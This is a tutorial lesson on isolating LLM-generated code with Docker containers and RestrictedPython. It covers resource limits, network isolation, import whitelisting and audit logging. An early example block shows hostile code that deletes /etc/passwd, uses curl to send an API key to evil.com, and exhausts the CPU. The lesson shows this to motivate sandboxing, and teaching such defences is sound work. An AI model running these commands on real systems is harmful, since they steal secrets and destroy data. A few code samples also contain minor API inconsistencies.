0Pricing
AI Engineering Academy · Lesson

Sandboxing with Docker and RestrictedPython

Create isolated execution environments using Docker containers with resource limits, network isolation, and read-only filesystems to safely run untrusted LLM-generated code.

Sandboxing with Docker and RestrictedPython is a free AI Engineering Academy lesson on CoddyKit — lesson 2 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the AI Engineering Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

Why Code Sandboxing Is Non-Negotiable

LLM-generated code runs with the same permissions as the process that calls it. A careless or maliciously injected code snippet can delete files, read environment variables containing API keys, make network requests, exhaust RAM or CPU, or install backdoors. Sandboxing creates an isolated execution environment that limits what the generated code can do, making code execution agents safe enough to run in production.

# Example of dangerous code an LLM might generate
import os
import subprocess

# Without sandboxing, this runs with full host permissions:
os.remove('/etc/passwd')              # deletes system file
subprocess.run(['curl', 'http://evil.com', '-d', os.environ['OPENAI_API_KEY']])  # exfiltrates secrets
while True: pass                      # exhausts CPU

# Sandboxing prevents ALL of this

Docker as a Sandbox

Docker containers are the most practical sandbox for LLM-generated code in production. Each code execution gets a fresh container built from a minimal image, with strict resource limits on CPU, memory, and time. The container has no access to the host filesystem (except an explicit workspace mount), and network access is disabled or restricted to a whitelist. When execution completes, the container is destroyed.

import docker
import tempfile
import os

client = docker.from_env()

def execute_in_docker(code: str, timeout=30) -> tuple[str, str]:
    # Write code to temp file
    with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
        f.write(code)
        host_path = f.name
    
    try:
        container = client.containers.run(
            image='python:3.11-slim',           # minimal Python image
            command=f'python /workspace/code.py',
            volumes={host_path: {'bind': '/workspace/code.py', 'mode': 'ro'}},
            mem_limit='256m',                   # max 256 MB RAM
            cpu_period=100000,
            cpu_quota=50000,                    # 50% of 1 CPU core
            network_disabled=True,              # no internet access
            read_only=True,                     # read-only root filesystem
            remove=True,                        # auto-delete container
            timeout=timeout
        )
        return container.decode('utf-8'), ''
    except docker.errors.ContainerError as e:
        return '', e.stderr.decode('utf-8')
    finally:
        os.unlink(host_path)

Resource Limits in Docker

Docker provides fine-grained resource controls for sandboxed containers. The key limits to set are: mem_limit to cap memory (e.g., 256m), cpu_quota to limit CPU time, pids_limit to prevent fork bombs, and a timeout to stop hanging code. Without these limits, a poorly written or malicious code snippet could crash the entire host machine by exhausting all available resources.

sandbox_config = {
    'image': 'code-sandbox:latest',
    'mem_limit': '256m',        # 256 MB max RAM
    'memswap_limit': '256m',    # no swap (prevents RAM expansion via swap)
    'cpu_quota': 50000,         # 50% of a CPU core
    'cpu_period': 100000,
    'pids_limit': 64,           # max 64 processes (prevents fork bombs)
    'network_disabled': True,   # no network
    'read_only': True,          # read-only root filesystem
    'tmpfs': {'/tmp': ''},      # writable /tmp in memory only
    'security_opt': ['no-new-privileges'],  # prevent privilege escalation
    'cap_drop': ['ALL'],        # drop all Linux capabilities
    'remove': True,             # auto-remove after execution
}

Building a Code Execution Image

Running code in a minimal python:3.11-slim image means no data science libraries are available. Build a custom sandbox image that pre-installs the packages your code agents commonly need (pandas, numpy, matplotlib, scikit-learn) so they do not need internet access to install packages at runtime. Pre-installing also speeds up execution significantly.

# Dockerfile for code sandbox
# FROM python:3.11-slim
# 
# RUN pip install --no-cache-dir \
#     pandas==2.1.0 \
#     numpy==1.25.0 \
#     matplotlib==3.7.0 \
#     scikit-learn==1.3.0 \
#     requests==2.31.0 \
#     beautifulsoup4==4.12.0
# 
# # Create non-root user for extra security
# RUN useradd -m sandbox
# USER sandbox
# 
# WORKDIR /workspace

# Build: docker build -t code-sandbox:latest .
# The agent uses this image for every execution

RestrictedPython for In-Process Sandboxing

RestrictedPython is a Python library that compiles code with security restrictions enforced at the AST level. It blocks dangerous built-ins (exec, eval, __import__), restricts attribute access, and prevents access to dunder methods. RestrictedPython runs in the same process (no Docker overhead), making it much faster, but it provides weaker isolation than Docker and is better suited for simple, low-risk code.

from RestrictedPython import compile_restricted, safe_globals, safe_builtins
from RestrictedPython.Guards import safe_iter_unpack_sequence, guarded_getitem

def execute_restricted(code: str) -> dict:
    # Compile with restrictions
    byte_code = compile_restricted(code, '<string>', 'exec')
    
    # Define a restricted global namespace
    restricted_globals = {
        '__builtins__': safe_builtins,  # no exec, eval, __import__, open
        '_getiter_': iter,
        '_getitem_': guarded_getitem,
        '_iter_unpack_sequence_': safe_iter_unpack_sequence,
        'print': print,  # allow print
    }
    
    local_vars = {}
    exec(byte_code, restricted_globals, local_vars)
    return local_vars

# Test
try:
    result = execute_restricted('x = 2 + 2\nprint(x)')
except Exception as e:
    print('Blocked:', e)

Comparing Docker vs RestrictedPython

The two sandboxing approaches have different trade-offs. Docker provides true OS-level isolation: each execution is a separate process with no shared state, and even a kernel exploit attempt is limited to the container. The downside is 0.5-2 second startup overhead per execution. RestrictedPython starts in milliseconds and requires no container infrastructure, but provides much weaker isolation and has known bypasses for sophisticated attackers.

# Decision guide
def choose_sandbox(requirements: dict) -> str:
    if requirements.get('user_provided_code'):  # untrusted third party code
        return 'docker'  # must use Docker for true isolation
    
    if requirements.get('needs_filesystem_access'):
        return 'docker'  # Docker volumes are safer
    
    if requirements.get('low_latency_critical'):  # < 100ms per execution
        return 'restrictedpython'  # no container startup overhead
    
    if requirements.get('llm_generated_internal_only'):  # your own trusted agent
        return 'restrictedpython'  # acceptable risk, faster
    
    return 'docker'  # default to stronger isolation when in doubt

Whitelisting Allowed Operations

Both Docker and RestrictedPython support whitelisting: explicitly allowing only the operations the code agent actually needs, rather than blocking everything dangerous. For example, allow pandas and numpy operations but block subprocess, socket, and os.system. Whitelisting is a more secure approach than blacklisting because you do not need to anticipate every possible attack vector.

from RestrictedPython import safe_builtins
import pandas as pd
import numpy as np

# Whitelist approach: only provide what agents should use
ALLOWED_MODULES = {
    'pandas': pd,
    'numpy': np,
    # NOT allowed: subprocess, socket, os, sys, importlib
}

def make_restricted_globals():
    builtins = dict(safe_builtins)  # safe subset of Python builtins
    builtins['__import__'] = make_guarded_import(ALLOWED_MODULES)
    return {'__builtins__': builtins, **ALLOWED_MODULES}

def make_guarded_import(allowed: dict):
    def guarded_import(name, *args, **kwargs):
        if name not in allowed:
            raise ImportError(f'Import of {name} is not allowed in sandbox')
        return allowed[name]
    return guarded_import

Persistent Workspace Volumes

A code agent often needs to write intermediate files (a cleaned CSV, a generated chart) that the next code iteration can read. Use a workspace volume in Docker: a directory on the host that is mounted read-write into the container. Each container execution in the same session shares this volume, allowing the agent to build up a workspace of files across iterations while the root container filesystem remains read-only.

import os
import tempfile

class AgentWorkspace:
    def __init__(self):
        self.dir = tempfile.mkdtemp(prefix='agent_workspace_')
        os.chmod(self.dir, 0o755)
        print(f'Workspace created: {self.dir}')

    def get_docker_mount(self):
        return {self.dir: {'bind': '/workspace', 'mode': 'rw'}}

    def list_files(self):
        return os.listdir(self.dir)

    def cleanup(self):
        import shutil
        shutil.rmtree(self.dir)
        print('Workspace cleaned up')

# Usage across iterations
workspace = AgentWorkspace()

for i, code in enumerate(agent_generated_code_iterations):
    volumes = workspace.get_docker_mount()
    output, err = execute_in_docker(code, volumes=volumes)
    # Code in iteration 2 can read files written by iteration 1

Sandboxing in Cloud Environments

In production, you often want to run code sandboxes in the cloud rather than on your API server. Services like AWS Lambda (with restricted VPC), Google Cloud Run containers, or dedicated sandboxing services like E2B (e2b.dev) provide managed isolated execution environments. E2B specifically is designed for AI code agents, offering a fast-starting Python sandbox with a simple API.

# E2B managed sandbox (e2b.dev)
from e2b_code_interpreter import Sandbox

def execute_with_e2b(code: str) -> tuple[str, str]:
    with Sandbox() as sandbox:
        execution = sandbox.run_code(code)
        stdout = '\n'.join(execution.logs.stdout)
        stderr = '\n'.join(execution.logs.stderr)
        return stdout, stderr

# E2B handles: sandboxing, resource limits, network isolation
# Each sandbox starts in ~100ms and auto-expires after the session
output, error = execute_with_e2b('import pandas as pd\ndf = pd.DataFrame({"a": [1,2,3]})\nprint(df)')

Monitoring and Audit Logging

Even with sandboxing, log every code execution for security auditing. Record: the full code submitted for execution, the execution timestamp and duration, the agent session and user that triggered it, the stdout/stderr output, and any security violations attempted (blocked imports, resource limit hits). This audit trail is essential for investigating unexpected behavior and demonstrating compliance.

import time
import hashlib

def audited_execute(code: str, agent_id: str, session_id: str) -> dict:
    code_hash = hashlib.sha256(code.encode()).hexdigest()[:16]
    start = time.time()
    
    stdout, stderr = execute_in_docker(code)
    
    audit_record = {
        'agent_id': agent_id,
        'session_id': session_id,
        'code_hash': code_hash,
        'code_preview': code[:200],  # first 200 chars
        'start_time': start,
        'duration_ms': (time.time() - start) * 1000,
        'had_error': bool(stderr),
        'output_length': len(stdout)
    }
    write_audit_log(audit_record)
    return {'stdout': stdout, 'stderr': stderr, 'audit': audit_record}

Defense in Depth for Code Agents

No single sandboxing mechanism is perfect. Apply defense in depth: combine Docker isolation with resource limits, use a non-root user inside the container, disable network access, use a read-only root filesystem with a tmpfs for /tmp, run the container in a separate low-privilege VM or cloud function, and monitor execution for anomalous resource usage. Multiple independent layers mean a bypass of one layer does not compromise the whole system.

Quick Check

Test your understanding of code execution sandboxing from this lesson.

Lesson Recap

In this lesson you learned: Docker sandboxing is the gold standard for safely running LLM-generated code, using container-level isolation, resource limits, and network restrictions, RestrictedPython is a faster but weaker in-process alternative suitable for low-risk internal agents, and defense in depth combines multiple layers of protection because no single mechanism is sufficient. Next up we cover state management across code execution steps.

Frequently asked questions

Is the “Sandboxing with Docker and RestrictedPython” lesson free?

Yes — the full text of “Sandboxing with Docker and RestrictedPython” is free to read here on the web, and the AI Engineering Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the AI Engineering Academy course, upgrade to CoddyKit PRO.

What will I learn in “Sandboxing with Docker and RestrictedPython”?

Create isolated execution environments using Docker containers with resource limits, network isolation, and read-only filesystems to safely run untrusted LLM-generated code. You practise AI Engineering Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start AI Engineering Academy?

No prior experience is required. AI Engineering Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 2 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “Sandboxing with Docker and RestrictedPython” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this AI Engineering Academy lesson?

Yes. Every AI Engineering Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

  1. The Code Execution Loop
  2. Sandboxing with Docker and RestrictedPython
  3. State Management Across Execution Steps
  4. Building a Data Analysis Agent
← Back to AI Engineering Academy